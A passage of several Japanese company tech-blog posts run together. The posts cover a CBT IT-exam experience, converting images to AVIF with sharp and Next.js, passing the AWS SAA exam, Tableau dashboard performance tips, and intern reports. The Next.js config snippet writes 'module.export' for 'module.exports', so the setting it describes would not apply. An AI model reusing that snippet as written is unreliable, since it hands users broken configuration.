問題用紙に直接書き込むことができないので、説明が長い問題や図が含まれる問題は解きづらかったです。特に午後試験の問題が解きづらかったです。 A4のメモ用紙を１枚配られ、追加の紙が欲しければブザーで係員の方を呼んでくださいと言われたのですが、小心者の私は勇気が出ず呼ぶことができませんでした。結果１枚に収めるために非常に小さい字でメモをしました。 試験後 試験当日中にスコアレポートのメールが届き、得点を知ることができました。 受験しての感想 普段は紙の本を使って勉強しているので、PC試験ならではの特徴に慣れるのが大変だと感じました。 問題文の画面表示は見開き形式ではなく１ページずつのため、問題文のポイントをメモしつつ解くのが特に大変でした。 やっておくとよいこと プロメトリックの試験実施概要を見て、CBT方式の操作方法を確認 PC画面で問題を見ながら手元でメモをして問題を解く練習 基本情報技術者試験過去問道場 がオススメです。 紙の参考書で勉強する派の方も、午後問題の２、３年分はPC上で解いておくとよいかなと思います。 令和４年度下期の試験もCBT方式で行われるようです。これから試験を受けられる方は頑張ってください！ ここまで読んでいただきありがとうございました！

社内でWebアプリケーションの要件についての話がされている際のことです。 画像の拡張子について要件があったんですが、そこには基本的にWebPで、表示できないブラウザはPNGにするという旨が記載されていました。 AVIF君かわいそう、その場での私の気持ちは一つです。 そんなわけで、不思議と話に上がらないAVIFフォーマットとそれへの変換、フロントエンド周りの話をしてゆこうかと思います。 AVIF とは AVIF (AV1 Image File Format) は、 AV1ビットストリームを HEIF (High Efficiency Image File Format) コンテナーにエンコードした、強力でオープンソース、ロイヤリティフリーのファイル形式です。 (中略) 一般的に、 AVIF は WebP よりも圧縮率が高く、同じ JPG セットで中央値 50% 対 30% の圧縮率です -- 引用元: [画像ファイルの種類と形式ガイド__MDN] 見ての通り、ここまで読む限りではWebPよりも優れた形式です。 こんな優れた形式がなぜ使われていないのか、理由はいくつか考えられますが、個人的には知名度とブラウザ対応かと思います。 ブラウザ対応範囲 対応ブラウザは、Chrome, Opera, Firefoxです。 WebPの対応ブラウザはChrome, Edge, Firefox, Opera, Safariなので、比較するとEdgeとSafari対応がされていません。 (ユーザーが意図的に古いバージョンを用いている場合については考えないものとする) SafariとEdgeに対応していないことは地味に辛く、MDNにおいてもAVIFを用いる場合は <picture> 要素を使って他の拡張子に対応するようにしましょうと書かれています。 <picture> 要素は以下のように使用します。 <picture> <source srcset="/cat.avif" type="image/avif" /> <source srcset="/cat.webp" type="image/webp" /> <img src="/cat.jpg" alt="cat" /></picture> 使用しているブラウザに合わせて、 上から順に優先して 表示します。 そのため、例えば上記のコード内のavifとwebpを入れ替えると、webpが優先して使用されます。 ちなみに、 <picture> はIE以外の全ブラウザが対応しているので、IEが寿命を迎えた今、全ブラウザが対応している要素です。 AVIFに画像を変換する 個人的には、 sharp をお勧めします。 理由は単に、node.jsを入れるのが楽なのと、Next.jsの画像最適化機能に使われているのである程度信用があるためです。 単純に変換するだけであれば、以下のコードで変換できます。 #!/usr/bin/env zxconst sharp = require('sharp')sharp(argv.p) .avif() .toFile(`${argv.p}.avif`) コマンドライン引数の取得が手間だったためzxを使用していますが、cli上からファイル名を取得するためだけに使用しているので無視していただいて問題ありません。 このように、ファイル形式を変えるだけであればこうして簡単にできます。 ちなみに、こうして変換した場合のファイルサイズについては以下の通りとなっています。 jpg (元画像) WebP AVIF ファイルサイズ 105940 31324 15309 比率 100% 29.6% 14.5% 写真は、適当な猫の画像を使用しました。 見ての通り、WebPと比較してもさらに小さいことが良くわかると思います。 かなり楽に変換できるので、指定したディレクトリのファイルをWebPとAVIFに変換するなんてコードを書くのも楽です。 素書きのHTMLで使う場合は、こうして作ったファイルを <picture> で出してしまいましょう。 Next.jsにおけるAVIF AVIFは、Next.jsの画像最適化対象です。 ただし、変換速度がWebPと比較すると遅いため、デフォルトの設定ではAVIFは変換対象になっていません。 使用する場合は、以下のように設定を next.config.jsに追加してください。 const nextConfig = { images: { formats: ['image/avif', 'image/webp'], }}module.export = nextConfig これで、AVIFの画像最適化が有効になります。 もし使用する場合は、キャッシュと相談して使うようにしてください。

概要 AWS認定ソリューションアーキテクト アソシエイト(SAA)試験に 一度落ちてから受かった 話です。 ネットでは合格体験記も不合格体験記も両方溢れてますが、実際に周りであまり落ちた人を見かけないので記事にしました。 恥を忍んでスコアなど明け透けにすべてを晒しますので、次会った人は優しく接してあげてください。 ※先に言っておきますが決して自慢できるような点数でもなければ素晴らしいサクセスストーリーでもありません… 尚、本記事の前半は試験自体について、後半で私自身の体験記を書いています。 必要に応じて読み分けてみてください。 ここからは試験自体について触れていきます。 試験の概要 まずはじめに、公式のガイドラインを一読しましょう。 AWS公式ガイドライン - AWS Certified Solutions Architect - Associate 上記に書いてあることがすべてですので、王道だとここを参考に知識を深めていくのが一番よいと思います。 私が受けたのはC02バージョンです。このバージョンは2022年8月末に更新され受けられなくなります。 別にいつ受けても知識をつけるという意味では変わらないと思いますが、今のC02は対策が世間にたくさん転がってるので、試験対策されているという意味では受けやすいかもしれません。 ただ、形式とかはC01とC02でそんなに変わりないらしいので、もし更新されたとしてもやることは変わらないと思います。 全65問を130分で解きます。 試験を一周するのはそこまで苦労しない時間だと思います。 見直しのフラグがつけられるので、一周の後に見直しフラグを付けた問題だけ改めて考え直す…みたいな感じで解きました。 合格ラインは720点です。 100~1000点でスコアが出ます。 CBT(Computer Based Test)となります。 結構初見殺しな感じがするので、AWS公式が出している模試を受けておくことをお勧めします！ AWS公式の模試は無料で受けられ、ちゃんと解説もついてるのですごくお勧めです。 初回の不合格になったときは有料の方受けました…いい時代になったな 無料で受けられる試験については改めて後述します。 受験費用は 15,000円(税抜)です。マイナビでは資格支援制度があるため、受験料は会社負担で受験することができます。※ただし合否に関わらず請求は1回まで 模試代も費用請求できますが、無料の方で十分だと思います。 私の所属する課では、AWS試験は業務扱いになるため、業務時間内に受けてよいことになっています。 ただ私の性格上、土日に受けたい（平日中抜けすると結果聞かれてなんか精神ダメージ来そう）ので土日にしました。受けた後にオフィスに戻ったりするの嫌だし… 試験会場ですが、自宅でオンラインで受験する場合とテストセンターで受験する場合があります。 私は1度目も2度目もテストセンターにしました。オンラインだとカメラとかトラブル時の問い合わせとかが大変なようです。 どちらのテストセンターも変わりはなかったです。必ず15分前までに会場に着きましょう。ちなみに試験開始までずっと待たされることはなく、むしろ着いた順に早めに受けられたりします。 腕時計とか荷物類は持ち込めず、すべてロッカーに預けます。ロッカーサイズはそんなに大きいのがたくさん用意されてるわけではなさそうでしたので、手荷物は気持ち少なめがおすすめです。 勉強法 参考書 下記を使いました。 本は相性があると思いますので、下記以外でも好きなものを選ぶとよいと思います。 この1冊で合格! AWS認定ソリューションアーキテクト - アソシエイト テキスト&問題集 黄色いこちらをメインで見てました。本当は↓のみんな大好き黒本を先に読み始めていたんですが、身内からこちらを譲ってもらい読んだところ結構読みやすかったので、終盤はこちらばかり読んでました。 徹底攻略 AWS認定 ソリューションアーキテクト − アソシエイト教科書[SAA-C02]対応 こちらもよい本です。 周りで受かってる方はこれ読んでる人が多い印象があります。 模試 AWS 公式が用意している無料の模試をまずは解いてみることを強くお勧めします。 利用方法はクラスメソッド様がまとめているこちらが大変参考になります！ DevelopersIO - AWS認定の無料模擬試験がさらに便利になりました！ 解説が載っているだけでなく、親切に各サービスのホワイトペーパーのリンクも載せてくれています。時間のある方はすべて目を通すと、それだけでもかなり知見が溜まります。 20問くらいしかないです。本番は65問なので少なめです。 反復練習で、計5周くらいはした気がします。 私には 不合格体験があったため 、上記だけでは不安でした。なのでUdemyで模試を買ってそちらもやるようにしていました。 【2022年版】AWS 認定ソリューションアーキテクト アソシエイト模擬試験問題集（6回分390問） Udemyは状況に応じて都度内容アップデートが走るので、情報が古すぎる…ということはなさそうです。 Udemyはセールを度々やってますので、もし買うのであればセール時を狙うのがおすすめ。 不合格体験記にも書きますが、（時間がなかったので）3回分だけ解き、反復練習で再度同じ問題を3周くらいやりました。 その他 情報発信系の記事は積極的に読んでおくとよいと思います。 サービス名で調べると大体「公式ホワイトペーパー」や「やってみた系」の記事が見つかりますので、両方読んでおくのをお勧めします。 「やってみた系」はたまに間違ってたり情報古かったりするので注意です。 AWS ホワイトペーパーとガイド AWS サービス別資料 DevelopersIO: クラスメソッド発「やってみた」系技術メディア 業務でもしAWSに触れる機会があるのであれば、積極的に関わるとよいと思います。 私はあまり机上の勉強が得意ではないので、業務で出てきたサービスは頭に残りやすく、出てきてないものは本で読んでもすぐ忘れて何度も調べる羽目になりました（自分なりに情報をまとめたりしてたんですが…実際に触れたことがあるかないかはやはりデカいです） もし業務で触れられないとしても、自分だったらこのサービスはどういう構成にする？みたいな想像をしながら勉強するとよさそうです。ユースケースとか特に目を通しておくとよいと思いました。 試験に出た、押さえておくとよいところ 結構忘れていますが… CloudFrontを絡めた問題が多く出た気がします。 データベースを選ばせる問題も結構出ました。加えてLambdaやSQS絡めたりとか。 開発やってる方は余裕だと思いますが、 ネットワークメインのインフラ系には大変苦しかったです！！ だから印象に残っているのかも。 特にDynamoDBは頻出でした。本当に苦しかった。。。 Amazon DynamoDB Accelerator (DAX) は、フルマネージド型高可用性インメモリキャッシュでDynamoDB用に特化しているサービスです。 S3の問題もかなり出ました。ここも苦手なところでした。 ストレージクラス何選ぶ？とか、ライフサイクルポリシーらへんとか。CloudFrontとの合わせ技とかも。 単純に何を選ぶか、というより、具体的な使用方法が選択肢に書いてあり、それが今回のケースにマッチしてるのか考える感じでした。（どの方法もできそうだけど、ケースごとのベストプラクティスを選ばせるなど） EBSやEFSは大抵、単純にどれを選ぶか？とだけ出る問題が多かったように思います。 コンテナ系が数問出ましたが、そこまで迷わせる感じはなかったです（ここで減点されてたらウケる） IAM周りも少し出ましたが、選択肢としてはそこまで迷わなかった気がします（ここで減点されてたら泣ける） 他にもいろいろ出てましたが、私の印象に残ってるのは以上です！ ここからは私自身の体験記です。 ぜひ笑い飛ばしてください！(笑) 体験記 普段の業務 自分の業務範囲は、オンプレ環境においてのネットワーク系インフラ（物理機器を扱う低層）がメイン、業務で直接AWSに触れる機会はDirectConnect周りのみでした。 ただ、これからの時代AWSについてわかっておかねば困るだろうと思い勉強を始めました。（1年前の気持ち） ありがたいことに私の所属する部署では、業務時間内に勉強してよいこと、検証環境を自由に触れることから、自由に勉強するという観点では大変恵まれたところにいました。 ただやはり業務時間内では十分に時間がとれるとは限らないので、結局通勤中とか定時後にちょくちょくやっていた気がします。（といっても毎日真面目にはできませんでした。朝は電車酔いするし帰りは寝落ちするし…） つまり私のスペック的には、そこまで本格的に業務でAWS触ってたわけじゃありません。 不合格の時の話 不合格時の結果 お恥ずかしながら、この試験には一度落ちています。 落ちています！！！ 周りの方が当たり前のように受かっていくのを見ていたので、正直結構落ち込みました。 スコアは以下です。 2021年5月に受験しました。（この記事を書いてる1年ほど前になります） 惜し…くはないな…… ちなみに、合否判定は試験終了後、簡単なアンケートに答えた直後にすぐに出ます。（点数は後日わかります） つまり、 試験後の「あー終わった終わったとりあえず結果出るまで楽にしてよう」みたいな猶予は一切ありません。 何度も言いますがマジで凹みました。つらい。クソデカため息ついちゃう。 不合格時の反省 正直試験を受けている際は割と手応えはあった方でした。 完全な勘違いなんですが。 ただ、終わった後に冷静に振り返ってみると、「初見の（もしくは認識から漏れてた）サービスがあったな…」とも思いました。 AWS のサービスは幅広いので、すべてを網羅というのは厳しいかも知れませんが、単語からなんとなく推察するくらいはできた方がよいなぁと感じました。トランジットVPCは知らなくても、Transit Gatewayはなんとなく知ってるからそこからサービス内容がなんとなくわかる的な。 ちなみに、当時の勉強期間は1ヶ月くらいだったと思います。 点数の開示は翌日くらいのたぶんAWS側でバッチが走ってるタイミングで通知されわかるようになりますが、点数見た感じあともうちょい勉強すればいけるかな…？といった感覚もありました。（ただこの感覚は全く活かされていません） 合格の時の話 不合格の場合、14日後から再度試験が受けられます。 本当は2週間後すぐくらいに受けよう！と意気込んでいたのですが、業務が少し立て込んだのもあって遅らせているうちに気持ちが薄れてしまいました。。。 ※大変よくない例ですので皆さん真似しないように。 合格の時の結果 スコアは以下です。 2022年7月に受験しました。 思ってたよりギリギリじゃねぇか… 前述した通り、合否判定自体は試験終了後のアンケートに答えたあとにすぐに出ますので、心臓がおかしくなるくらい緊張して画面を進めていきました。 「判定：合格」と出た時、もしかして幻覚見てる？？と思って何度も上から下まで見直したりしてました。その後、喜びを噛みしめました！！ 2つの経験を通しての感想 初回受験して落ちた際は参考書をメインに勉強していました。知識のつき方的にはおそらく今とそんなに変わらないと思うのですが、具体的なユースケースを考慮できていなかったり、そもそも問題文の言い回しとかに若干戸惑いがあったり、不慣れで目が滑ってよく問題を読めていなかったりしたのがよくなかったんだろうなという反省があります。日本語訳もたまーに変だったりしたのも気になってしまいました。（問題文は英語に戻せますので、たまに戻して読んだりするのもおすすめです） 2回目の受験の際は、まずは問題に慣れたいというのもあって模試を中心に何度かやっていたおかげで、長い問題文や選択肢や独特の言い回しが来ても面食らわずに解くことができました。反復練習してわからないサービスは都度公式のホワイトペーパーで調べたり具体的なユースケースをセットで確認していたのもよかったのだと思います。 実際の試験では、やはり具体的なケースに基づく問題の出し方が多かったです。模試の問題そっくりそのまま出てくるケースはほぼなかったです。 余談ですが、初回の受験時の方が試験対策としての総勉強時間としては長かったです。2回目は「とりあえず去年一回落ちてんだし気軽に行ってみるか」とサクッと申し込んでしまったので、本格的に試験対策に着手できたのは1~2週間くらいでした。（一応それまでは、ダラダラとわからないサービス都度調べる、AWS Black Belt Seminarを眺める…みたいなことはしていました） ただ2回目の時は、所属している部署の方針として「AWSガンガンいこうぜ！」でなんとなく日常的に慣れた存在だったり、（直接的には触らないにしても）構成図を気軽に目にしたり、メイン業務ではないのに関わらせてくれる状況だったりしたのが功を奏したんだと思います。こればっかりは周りの方に感謝しかないです。 まとめ これは本当に身に染みて思っていますが、資格系の勉強すべてに言えることとして受験はあくまで通過点でしかないです。 資格を持っていなくても、実務でAWSの知識を生かして設計・運用している方はごまんといらっしゃいますし、市場価値としてはそちらの方がはるかに高いんだろうなと十分認識しています。尊敬してます。 ただ、今回オンプレ担当の自分がAWS SAAの資格取得のために勉強をすることで、そこまで業務で触っていなくても最低限の知識は身に着けられただろう、というのがよかったなと思っています。 いつでも受けられる試験なので、皆様ぜひ挑戦してみてください。 落ちても怖くない！

はじめに データ活用戦略課（現デジタルテクノロジー戦略本部）のT.Sです。 Tableauでダッシュボードがなかなか表示されないなどのことがあったりしませんか？ そんな時は、まず以下のポイントをチェックして、ダッシュボードの見直しを行って見てください。 目安としては、読み込みに2分以上かかる場合は一度見直しましょう。 また、添付のExcelはセルフチェックリストとしてご使用ください。 Tableauダッシュボードセルフチェックリスト 大前提 大前提の情報を先に書いておきます。 Tableau Desktopでダッシュボードがなかなか開かない場合は、Tableau Serverでも開きません！！ なので、Tableau Desktopで読み込み時間が遅いと感じるダッシュボードをTableau Serverにパブリッシュするのは控えましょう。 Tableau Serverでも読み込みに時間がかかり、なかなか開かないというのが落ちです。 まずはここから（一般的に見直すポイント） Tableauワークブックはシンプルイズザベストを目指しましょう！ 無駄なものはできるだけカットしましょう！ 1. 分析に使っていないデータソースはないですか？ 1つのダッシュボードに沢山のデータソースを接続すると、パフォーマンスは落ちます。 画像のDBマークをクリックすると、このダッシュボードで使用しているデータソースが何かを確認できます。 この数が少なければ少ない方がパフォーマンスは向上します。 なので、使用していないデータソースがないか今一度確認してみてください。 使用していないデータソースがある場合は削除しましょう！ 2. データはリアルタイムである必要はありますか？ Tableauのデータは「ライブ」データと「抽出」データがあります。 「ライブ」データは接続先のデータソースに毎回アクセスをして、データを表示させています。リアルタイムの数字が反映される点は素晴らしい機能ですが、都度接続先にアクセスしに行くため、開くのに時間がかかります。 一方、「抽出」データはデータの鮮度はライブに比べて落ちるのですが、Tableau専用のファイル形式であるため、Tableauが一番パフォーマンスを発揮できるように設計されてます。 リアルタイムの必要はなく、「1週間に1回しかデータが更新されない」などのものに関しては、抽出のデータソースを使用することをお勧めします。 3. 1枚のダッシュボードにたくさんグラフを載せてませんか？ ダッシュボードは、色んな情報を一度に確認できるものですので、皆さんお使いになられているかと思います。 ですが、1つのダッシュボードに沢山グラフを載せすぎると、グラフを表示させるのに時間がかかります。また、パフォーマンスだけでなく、グラフそのものも小さくなってしまい、せっかくきれいに可視化したものが見づらくなってしまいます。 そのため、ダッシュボードを設計する際に、最初はマクロの視点のグラフを載せたダッシュボード、それから徐々に詳細な視点のグラフを載せるという対応を取るといいと思います。 4. 不要なデータ項目ありませんか？ 読み込むデータの項目が多いと、その分読み込み時間がかかります。 分析に必要ない項目であると感じたら、項目を削除、または非表示にしましょう。 例えば、画像の「月」という項目が不要であれば・・・ 「▼」をクリックして、非表示を選択。 「月」をダッシュボードで見えないようにしましょう。 すると、パフォーマンスは上がります。 データを見直す 5. データをTableau Desktopで加工してませんか？ 皆さんが一番やりがちなのは、Tableau Desktop内でデータを結合したり、縦につなげたり、データをブレンドしたりなどを行ってしまうことです。 Tableau Desktop内の機能として、このような操作が出来てしまうのですが、そこは我慢しましょう。 6. 「参照整合性を仮定する」を使ってみましょう 5で結合などの加工はTableau Desktopではやらないと言ったのですが、 どうしてもという場合は、「参照整合性を仮定する」を使ってみましょう。 「データ」タブの下から4番目のところにあります。 これを使用することで、結合でクエリのパフォーマンスを向上させられる可能性があります。 詳しくは こちら を参照下さい。 ただ、やはりTableauDesktopで結合はせず、DataRobot Data Prep(Paxata)やTableau prepなどのデータプレパレーションツール、もしくはデータベースなどでデータを作成してから、Tableau Desktopに接続をしましょう。 7. ODBCドライバーを使っていませんか？ データソースを追加する時、どのドライバーを使っていますか？ ドライバーが用意されていないものに接続をする場合は致し方ないかもしれないのですが、それ専用のドライバーがある場合はそちらを使用しましょう。 8. 不要なレコードは取り込んでいませんか？ 例えば、今年度の実績や傾向を調べるためのダッシュボードに、2年前、3年前のデータを読み込ませていませんでしょうか？ 前年同月と比較をしたいのであれば、1年前のデータが存在すれば問題ないはずです。 取り込むレコード数はなるべく減らしましょう。 データタブの「データソースフィルターの編集」から設定することが可能です。 9. 抽出を作成する前に、使用していない項目を非表示 2でライブより抽出が適しているとお話をしました。抽出のデータソースを作る際にも、使用していない項目を非表示や削除して、抽出データソースを作成しましょう。 抽出の作成も、項目数やデータレコード数によって、作成の時間やサーバにかかる負荷が変わります。いらないものは削除するようにしましょう。 10. カスタム SQL クエリを使っていませんか？ データソース作成する際に、Tableau Desktop上でSQL（データソースからデータを抽出するためのプログラミングコードのこと）を書くことができます。そのことを「カスタムSQLクエリ」と呼びます。TableauからDBに対して通常の接続を行うと、Tableauは独自で最適化されたクエリを生成して実行しますが、カスタムSQLクエリは記載されたSQL通りに実行されます。そのため、最適なクエリではなくなるため遅くなります。 SQLを書くと他のユーザーも解読が難しいというデメリットもありますため、カスタムSQLクエリを使うのは避けましょう。 11. どうしてもカスタム SQL クエリが必要な場合は「*」や副問い合わせの使用はやめましょう。 SQL文を自分で書く場合、SELECT * FROM ～を使用すると全項目データの取得をすることができます。ただし、全項目分析に使用するか今一度考えてください。不要な項目が混ざっていることがほとんどでありますため、「＊」を使用せず項目名を明示的に指定してあげましょう。 また、Tableau DesktopでGUI画面でデータ作成している途中、そのデータをカスタムSQLクエリに切り替えた場合、既に作成されている途中のデータのSQLがデフォルトで準備されます。 例えば、下記画像のように、テーブルを結合したデータソースがあったとします。 こちらを「カスタム SQLに変換」をクリックします。 すると、SQLが自動で生成されます。 このままSQLを使用してしまうと、パフォーマンスが落ちてしまうことがあります。 理由は、分析に不要な項目が残ってしまうため、また、SQLを自動生成する際に 副問い合わせ が使われている可能性があるためです。 特に途中までユニオンを含んだデータソースを作成している方は、この副問い合わせが含まれたSQLが生成されてしまいますため、その場合は副問い合わせはせずにSQLを書き直してください。（不用意な副問い合わせはパフォーマンスが落ちます。） 画像：ユニオンしたデータソース 画像：上記データソースをカスタムSQLクエリに修正したもの 赤枠のように、FROMの後ろにカッコがあり、そのカッコ内にSELECT文が記載されていましたら、SQLを見直ししてください。 ダッシュボードを見直す 12. Tableauのtwbファイルのサイズが大きくないですか？ 3でも話しましたが、ダッシュボードの数やダッシュボードに使用しているビューの数が多いと、ダッシュボードは重くなります。分割できるものは分割しましょう。 13. いらない項目まで、ビューで表示させてませんか？ 必要な項目だけをビューで表示させましょう。 いらない項目をビュー内に残しておくと、塵積ではありますが徐々にダッシュボードを開くのに時間がかかっていきます。 14. フィルタをたくさん作っていませんか？ ダッシュボード作成でフィルタをよく作るかと思います。ですがフィルタをたくさん作成することで、そのフィルタの情報を適用するのに時間がかかってしまい、結果ワークブックの挙動が遅くなってしまいます。フィルタは必要なものだけワークブックに表示させましょう。 15. 固定サイズのダッシュボードを使いましょう！ あまり気にされていない部分であるとは思いますが、ダッシュボードのサイズは「固定サイズ」を使用しましょう！ Tableau Desktopで個人使用する分にはサイズをあまり気にする必要はないのですが、 Tableau Serverにパブリッシュをして他のユーザーにダッシュボードを共有する場合は気にする必要があります。 この部分を自動にすると、閲覧者によって画面サイズが異なりますため、Tableau Serverに使用環境ごとのキャッシュが溜まっていってしまいます。 特にサイズにこだわりがなければ、なるべくサイズは固定サイズを使用しましょう。 16. 集計表タイプのレポートを作っていませんか？ Excelやスプレッドシートのような、行数が大量にある表タイプのレポートはTableauは得意としない分野です。 せっかくTableauが使えるのに、集計表を作るのはもったいない気もします。なるべく集計表は使用せず、幅広い表現技法を試してみてください。 フィルタ処理を見直す 17. コンテキストフィルタを使いこなそう 通常のフィルタは他のフィルタに関係なく、データ ソース内のすべてのレコードにアクセスし、フィルタを適用します。一方、コンテキストフィルタは他のフィルタより先にデータをフィルタリングするため、他の通常のフィルタの処理が速くなる可能性があります。このコンテキストフィルタを設定することで、他のフィルタはコンテキストフィルタで残ったデータにのみフィルタを適用するため、レコードの絞り込みが早くなります！ 詳しくは こちら を参照ください。 ただし、過度な使用はかえって逆効果で、ダッシュボードの許容を遅くさせてしまします。使用する際は1,2個程度にしておきましょう。 18. 複数のワークシートにまたがってフィルタを使っていませんか？ 複数のワークシートにまたがったフィルタを作成することがTableau上では可能です。ですが、これを実施すると複数のクエリ（データにアクセスするためのプログラム）が実行されますため、結果が返ってくるのが遅くなります。複数ワークシートにまたがってのフィルタの多用は要注意です。遅いと感じましたら見直してみましょう。 19. 「適用」ボタン表示させてますか？ フィルタで「適用ボタンを表示」オプションを有効にすると、「適用」ボタンがフィルタ上に表示されます。 この「適用」ボタンがクリックされるまではデータの読み込み、フィルタの処理は行われません。 一方で「適用」ボタンなしだと、1つフィルタの操作をするだけで、すぐにデータを読み込みに行きます。 その分、読み込みが遅くなったり、操作的にも一回フィルタ選択して、データを読み込み、もう一回フィルタ選択して、また読み込み・・・を繰り返さないといけません。 ダッシュボードやビューのフィルタには、適用ボタンを表示させるようにしましょう。 計算処理を見直す 20. Tableauでの計算はなるべく控えましょう Tableauはデータを可視化するツールであります。計算機能は備わっているものの得意とはしていないです。 データの集計が多かったり、複雑な計算を行いたいときはTableauにデータソースとして取り込む前に処理できないか検討してください。 21. 計算でやらなくても可能なことを計算でやってませんか？ 例えば、値をグルーピング（カテゴライズ）する際に、IF関数などを使ったりしていないでしょうか？ その作業は、Tableauの「グループ」を作成するという操作でも作成が可能です。 Tableauのグループの作成は簡単で、グループ化したい項目を右クリックで選択し、「作成」、「グループ」とクリックしていきます。 すると、項目の値が出てくるため、グループ化したい項目を選択します。 選択が終わりましたら、「グループ」をクリックしますと、グループ化されます。 グループの値に名前を付けてあげると、IF文と同じことができます。 全ての設定が完了したら「適用」をクリックしましょう。 このように、関数で計算をしなくても、クリック操作で同じことが出来る可能性がありますので、なるべく計算は使用せずにダッシュボードを作成してみてください。 22. COUNTD関数は計算速度が遅いです COUNTD関数（ユニークなレコードの件数を数える関数）は接続するデータソースの全レコードにアクセスをして、重複レコードを削除して計算しています。 そのため、COUNTDはなるべく使用するのは避けた方が動きはよくなりますので、COUNTDを使用する必要がない場合はCOUNT関数を使用しましょう。 最後に Tableauでダッシュボードを作成する方法はたくさんあります。 皆さん思い思いのダッシュボードを作成していただいても構いませんが、 Tableau Serverなどで共有をする際に、今の作成方法だとサーバに負荷がかかってしまう可能性があります。 今までダッシュボードのパフォーマンスを意識したことがなかった方は、 一度、パフォーマンスという観点を意識したワークブックを作成してみてください。 参考資料 ●Tableau ワークブックのパフォーマンス チェックリスト　（Tableau） https://help.tableau.com/current/pro/desktop/ja-jp/perf_checklist.htm ●Tableauで作ったダッシュボードが遅い時にチェックする30のポイント #tableau　（classmethod） https://dev.classmethod.jp/articles/tableau-performance-checklist/#toc-17 ●Tuning Tableau Server: Performance Best Practices　（Tableau） https://www.youtube.com/watch?v=YYNCudevr6o ●Best Practices for Dashboard Performance　（Tableau） https://www.youtube.com/watch?v=6KGjjcCGxa0 ●SQL 副問合せのサンプル(サブクエリ)　（ITSakura） https://itsakura.com/sql_subquery

はじめに こんにちは！ 株式会社マイナビの就業型インターンシップに参加した @soutaschool , @toshi-bp , @kajikentaro , @aya-se です！ 本記事では就業型インターンシップに参加するきっかけや、実際に参加して経験した業務などをざっくばらんに書いていきます。 環境について オフィスは新宿駅直結のミライナタワーです。席はフリーアドレスになっていて、出社の時は好きな席に座って作業します。オフィスには私たちの所属している開発課だけでなく、AIシステム課、RPA課、インフラシステム課など様々な組織の方が働いています。 1席に2台のモニターが備え付けてあるので、貸与されたノートPCを接続します。モニターアームがかなり柔軟に調節できるので、片画面を縦にしてコーディングをしている人をよく見かけます。 ▲オフィスには集中して開発作業ができるスペースもあります キーボード・マウスは自分で用意する必要がありますが、好きなものを使うことができます。 1人1つロッカーがあるので、キーボードやマグカップなどの荷物は置いておくことができます。 1日の動き(一例) 時間 やること 9:15～10:00 オフィスに出勤してGitHubやBacklogの確認 10:00～10:15 朝会(フロントエンドとバックエンドで15分ずつ) 10:30～12:30 タスクを行う(コーディング・レビュー・調査・MTGなど) 12:30～13:30 お昼休憩(他のインターン生や社員の方々とランチ) 13:30～17:30 タスクを行う(コーディング・レビュー・調査・MTGなど) 17:30～17:45 進捗共有・退勤 インターン生は週2～3回の出勤のうち半分程度くらいがリモートワークです。 インターン生4人の勤務の曜日も少しずつ違っており、テスト前や用事がある日にはシフトも柔軟に対応していただくことができました。 使用技術 プロジェクトにもよりますが、領域ごとに以下のような技術を使用していました。 フロントエンド React(Next.js, CRA), TypeScript バックエンド Go, Node.js, Python(FastAPI, Flask), Firebase インフラ AWS, GCP インターンシップ内容詳細 ここでは、インターンシップ生4人がそれぞれの業務内容などについて記載していきます。 @soutaschool 情報系の学部に所属している４年生です。2021年8月から2022年6月までインターンに参加しました。 就業型インターンシップ参加まで きっかけは、サポーターズ主催のサマーEXPOでした。様々な夏インターンシップの情報を企業の方々が直接紹介し、質問に答えてくれるイベントでした。このイベントの際にマイナビの人事の方からマイナビ初の就業型インターンシップを開催すると案内があり、応募してみようと思いました。 選考過程では、書類選考とオンライン面接がありました。面接官の方は、今までどんなことをしてきたのかという質問はもちろんのこと、私の エンジニアとしてのマインド の考え方についても深くうなずきながら聞いてくださいました。また、こちらが気になっている点なども逆質問をさせていただき、とても分かりやすく答えてくださったのが印象的です。その結果、ありがたいことに就業型インターンシップに参加させていただくことになりました。 初出勤まで1か月ほど時間があったので、面接時に聞いた技術のキャッチアップやアルゴリズムなどを勉強していました。また、参加にあたっては、今後自身がエンジニアとしてどのように働いてきたいのかを就活前に明確にすること、普段利用しているサービスの裏側がどのように運営されているのかを知ること、エンジニア組織の空気感を知ることなどの目的がありました。 実際にやったこと ハッカソン型インターンシップで利用するWEBアプリのリファクタリングおよび機能実装 社内の新規プロジェクトの設計段階からリリース マイナビジョブサーチ のバックエンド開発 学びと感想 エンジニアとして技術的に成長することができたのはもちろんのこと、それ以上に、「チームで開発を行うことの楽しさ」や「今までにない新しいものを作り出していくことの醍醐味」を心の底から実感することができました。 また社員の皆さんは、業務をする中でつらくなった時にはアドバイスをくださったり、質問に対して真摯に対応してくださることがとても多く、エンジニアとして技術的に優秀なのはもちろん、一人の人間として相手の意見を尊重してプロダクトに落とし込む能力や相手の考えを察して面白いものを作っていくという姿勢は、多くの学びになりました。 ひとつ具体的なエピソードとして、『マイナビジョブサーチ』のバックエンドアーキテクチャについて休憩時間に何気なく雑談をしていた時、その場で思いついた私の突拍子もない意見に社員さんたちが真剣に耳を傾け、考えを細かくヒアリングしてくれたことがありました。そしてなんと、新機能に私の意見を反映させてくれたのです。この出来事は、私のモチベーションに繋がっただけではなく、いいものを開発していきたいという気持ちがより一層強くなりました。 ▲インターン生や社員の立場に関係なく、アイデア・意見は柔軟に取り入れてくれます 最後に、このインターンシップでは、これから社会に出るうえでどのようなフィールドでも通用するようなスキルを学べただけではなく、技術以上に大切なものを知ることができたような気がします。 大変有意義な時間だったので、終わってしまうのは寂しい気持ちでいっぱいですが、インターン生という立場ながらバックエンド・フロントエンドとフルスタックに開発に参加させていただき、一からマイナビの新サービスを作ることに携われたことは、本当に一生モノの経験になりました。 @toshi-bp 経営工学を専攻している大学4年生です。2021年8月から2022年6月までインターンに参加しました。 就業型インターンシップ参加まで 私も@soutaschoolと同様にサポーターズのサマーEXPOでマイナビの就業型インターンの存在を知り、応募をしました。書類選考や面接では、これまでに触れてきた技術に関することやインターン参加に対する軸について聞かれました。 これから何かしらのエンジニアの就業型インターンシップに参加したい方々は下記の点などを念頭に置きながら、開発や選考の準備を進めていくと良いかもしれません。 インターンに参加して何が得たいのか なぜそうしたいと考えたのか そのポートフォリオを作成した背景(なぜ作ったのか、どのような状況で作ったのか、なぜその技術を選定したのかなど) ポートフォリオ作成を通じて何を得ることができたのか 実際にやったこと 社内研修で使用する経営シミュレーションゲームのWebアプリ化 マイナビジョブサーチ のバックエンド開発 ハッカソン型インターンシップで利用するWEBアプリのリファクタリングおよび機能実装 学びと感想 本インターンは、私にとって初めての就業型インターンシップでした。 